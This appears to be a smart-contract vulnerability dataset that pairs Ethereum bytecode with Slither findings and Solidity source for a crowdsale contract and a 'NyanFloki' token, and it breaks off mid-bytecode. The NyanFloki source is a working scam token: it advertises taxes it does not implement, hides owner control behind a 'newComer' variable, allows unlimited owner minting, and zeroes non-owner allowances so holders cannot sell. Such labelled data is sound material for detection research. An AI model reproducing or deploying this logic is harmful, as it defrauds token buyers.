0x608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610087578063a9059cbb146100de575b600080fd5b34801561006857600080fd5b50610071610143565b6040518082815260200191505060405180910390f35b34801561009357600080fd5b506100c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061014d565b6040518082815260200191505060405180910390f35b3480156100ea57600080fd5b50610129600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610195565b604051808215151515815260200191505060405180910390f35b6000600154905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156101d257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561021f57600080fd5b610270826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103b490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610303826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103cd90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156103c257fe5b818303905092915050565b600081830190508281101515156103e057fe5b809050929150505600a165627a7a723058201ee49c315c4c69f84460694d74078b1b222b3a8878dcf9460cc55e6b52a4dbd20029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,624
0x3d1c83889915c49c7e6ecf83bb4381be9003efa9
/** *Submitted for verification at Etherscan.io on 2021-05-06 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { using SafeMath for uint256; function safeTransfer(IERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { require(token.transferFrom(from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } contract Crowdsale { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 private _token; uint256 public totalEthCollected; address payable private _wallet; uint256 private _rate; uint256 private _weiRaised; address owner; bool public _toggle = true; mapping (address => uint256) public tokensPerAddress; mapping (address => uint256) public tokensPaid; mapping (address => bool) public exist; uint8 public months = 0; address[] public investors; event TokensPurchased(address indexed purchaser, uint256 value, uint256 amount); constructor () public { _rate = 119000; _wallet = 0x3c4005Fe464A23fB63C4F1F8269d3b6E8BD1DA0d; _token = IERC20(0x97219702d8350FA7b2D49ACe60ce6DDca273FF2c); owner = msg.sender; } modifier onlyOwner(){ require(msg.sender == owner, 'only Owner can run this function'); _; } receive() external payable { buyTokens(); } function token() public view returns (IERC20) { return _token; } function wallet() public view returns (address) { return _wallet; } function rate() public view returns (uint256) { return _rate; } function remainingTokens() public view returns (uint256) { return _token.balanceOf(address(this)); } function weiRaised() public view returns (uint256) { return _weiRaised; } function changeRate(uint256 price) public onlyOwner() returns(bool success) { _rate = price; return success; } function toggle() external onlyOwner{ if(_toggle){ _toggle = false; return; } _toggle = true; } function buyTokens() public payable { require(_toggle == true); require(msg.value >= 0.5 ether, 'less than minimum limit'); require(tokensPerAddress[msg.sender].add(msg.value) <= 3 ether, 'max limit reached'); address sender = msg.sender; if(!exist[sender]){ exist[sender] = true; investors.push(sender); } uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); totalEthCollected = totalEthCollected + weiAmount; // update state _weiRaised = _weiRaised.add(weiAmount); tokensPerAddress[sender] += tokens; //_deliverTokens(sender ,tokens); emit TokensPurchased(msg.sender, weiAmount, tokens); _forwardFunds(); } function distribute() external onlyOwner{ require(months <=14); for(uint256 i =0; i < investors.length; i++){ _deliverTokens(investors[i], tokensPerAddress[investors[i]].div(14)); tokensPaid[investors[i]] += tokensPerAddress[investors[i]].div(14); } months +=1; } function resetMonths(uint8 _num) external onlyOwner{ months = _num; } function _deliverTokens(address sender, uint256 tokenAmount) internal { _token.safeTransfer(sender, tokenAmount); } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } function _forwardFunds() internal { _wallet.transfer(msg.value); } function endIco(address _address) public onlyOwner{ _token.transfer(_address, remainingTokens()); } }
0x60806040526004361061010d5760003560e01c806374e7493b11610095578063ce2a9f6211610064578063ce2a9f6214610466578063d0febe4c14610491578063e4fc6b6d1461049b578063ed0c4123146104b2578063fc0c546a146105175761011c565b806374e7493b1461038f5780637a943d2e146103e0578063aeef8f361461040d578063bf5839031461043b5761011c565b80634042b66f116100dc5780634042b66f1461024057806340a3d2461461026b578063425432b1146102825780634dfefc4b146102e7578063521eb2731461034e5761011c565b80630339d81c146101215780631e81acac146101725780632c4e722e146101b05780633feb5f2b146101db5761011c565b3661011c5761011a610558565b005b600080fd5b34801561012d57600080fd5b506101706004803603602081101561014457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108bf565b005b34801561017e57600080fd5b506101ae6004803603602081101561019557600080fd5b81019080803560ff169060200190929190505050610a59565b005b3480156101bc57600080fd5b506101c5610b3a565b6040518082815260200191505060405180910390f35b3480156101e757600080fd5b50610214600480360360208110156101fe57600080fd5b8101908080359060200190929190505050610b44565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024c57600080fd5b50610255610b80565b6040518082815260200191505060405180910390f35b34801561027757600080fd5b50610280610b8a565b005b34801561028e57600080fd5b506102d1600480360360208110156102a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca0565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b506103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb8565b60405180821515815260200191505060405180910390f35b34801561035a57600080fd5b50610363610cd8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039b57600080fd5b506103c8600480360360208110156103b257600080fd5b8101908080359060200190929190505050610d02565b60405180821515815260200191505060405180910390f35b3480156103ec57600080fd5b506103f5610dd3565b60405180821515815260200191505060405180910390f35b34801561041957600080fd5b50610422610de6565b604051808260ff16815260200191505060405180910390f35b34801561044757600080fd5b50610450610df9565b6040518082815260200191505060405180910390f35b34801561047257600080fd5b5061047b610ec3565b6040518082815260200191505060405180910390f35b610499610558565b005b3480156104a757600080fd5b506104b0610ec9565b005b3480156104be57600080fd5b50610501600480360360208110156104d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d1565b6040518082815260200191505060405180910390f35b34801561052357600080fd5b5061052c6111e9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60011515600560149054906101000a900460ff1615151461057857600080fd5b6706f05b59d3b200003410156105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f6c657373207468616e206d696e696d756d206c696d697400000000000000000081525060200191505060405180910390fd5b6729a2241af62c000061065134600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121290919063ffffffff16565b11156106c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f6d6178206c696d6974207265616368656400000000000000000000000000000081525060200191505060405180910390fd5b6000339050600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166107d7576001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600034905060006107e782611231565b905081600154016001819055506108098260045461121290919063ffffffff16565b60048190555080600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167f8fafebcaf9d154343dad25669bfa277f4fbacd7ac6b0c4fed522580e040a0f338383604051808381526020018281526020019250505060405180910390a26108ba61124f565b505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610982576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6f6e6c79204f776e65722063616e2072756e20746869732066756e6374696f6e81525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb826109c7610df9565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b81019080805190602001909291905050505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6f6e6c79204f776e65722063616e2072756e20746869732066756e6374696f6e81525060200191505060405180910390fd5b80600960006101000a81548160ff021916908360ff16021790555050565b6000600354905090565b600a8181548110610b5157fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6f6e6c79204f776e65722063616e2072756e20746869732066756e6374696f6e81525060200191505060405180910390fd5b600560149054906101000a900460ff1615610c82576000600560146101000a81548160ff021916908315150217905550610c9e565b6001600560146101000a81548160ff0219169083151502179055505b565b60066020528060005260406000206000915090505481565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dc7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6f6e6c79204f776e65722063616e2072756e20746869732066756e6374696f6e81525060200191505060405180910390fd5b81600381905550919050565b600560149054906101000a900460ff1681565b600960009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e8357600080fd5b505afa158015610e97573d6000803e3d6000fd5b505050506040513d6020811015610ead57600080fd5b8101908080519060200190929190505050905090565b60015481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6f6e6c79204f776e65722063616e2072756e20746869732066756e6374696f6e81525060200191505060405180910390fd5b600e600960009054906101000a900460ff1660ff161115610fac57600080fd5b60005b600a805490508110156111a057611086600a8281548110610fcc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611081600e60066000600a878154811061100d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ba90919063ffffffff16565b6112e0565b611110600e60066000600a858154811061109c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ba90919063ffffffff16565b60076000600a848154811061112157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508080600101915050610faf565b506001600960008282829054906101000a900460ff160192506101000a81548160ff021916908360ff160217905550565b60076020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082840190508381101561122757600080fd5b8091505092915050565b60006112486003548361132f90919063ffffffff16565b9050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156112b7573d6000803e3d6000fd5b50565b60008082116112c857600080fd5b60008284816112d357fe5b0490508091505092915050565b61132b828260008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113699092919063ffffffff16565b5050565b6000808314156113425760009050611363565b600082840290508284828161135357fe5b041461135e57600080fd5b809150505b92915050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156113da57600080fd5b505af11580156113ee573d6000803e3d6000fd5b505050506040513d602081101561140457600080fd5b810190808051906020019092919050505061141e57600080fd5b50505056fea2646970667358221220de36c4735ccc8deac9d3674fb01d756076292f6e15aac811221781952a7ce05164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,625
0xc17c300d4341516f4b322fe482e52b90a66fd8ff
/* _______ ___________.__ __ .__ \ \ ___.__._____ ____ \_ _____/| | ____ | | __|__| / | \ < | |\__ \ / \ | __) | | / _ \ | |/ /| | / | \ \___ | / __ \_| | \ | \ | |__( <_> )| < | | \____|__ / / ____|(____ /|___| / \___ / |____/ \____/ |__|_ \|__| \/ \/ \/ \/ \/ \/ 💳 Every Transaction is taxed at 11% 🤗 3% is Distributed to Holders 📈 4% is Locked in Liquidity Pool 🗣 4% to Marketing Wallet Website: NyanFloki.com Telegram: https://t.me/NyanFloki */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract NyanFloki is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'NyanFloki | https://t.me/NyanFloki'; string private _symbol = 'NyanFloki'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeBotTransfer(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806365a818b014610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c5565b6040518082815260200191505060405180910390f35b6102f161090e565b005b6102fb610a96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610abf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7f565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610c06565b8484610c0e565b6001905092915050565b6000600454905090565b600061055d848484610f2e565b61061e84610569610c06565b6106198560405180606001604052806028815260200161139960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b610c0e565b600190509392505050565b6000600760009054906101000a900460ff16905090565b610648610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661072a610c06565b73ffffffffffffffffffffffffffffffffffffffff161415610797576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113316021913960400191505060405180910390fd5b6107ac816004546112a890919063ffffffff16565b60048190555061080b81600260006107c2610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b60026000610817610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061085d610c06565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610916610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b575780601f10610b2c57610100808354040283529160200191610b57565b820191906000526020600020905b815481529060010190602001808311610b3a57829003601f168201915b5050505050905090565b6000610b75610b6e610c06565b8484610f2e565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061140a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113776022913960400191505060405180910390fd5b610d22610a96565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e405780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373fffffffffffff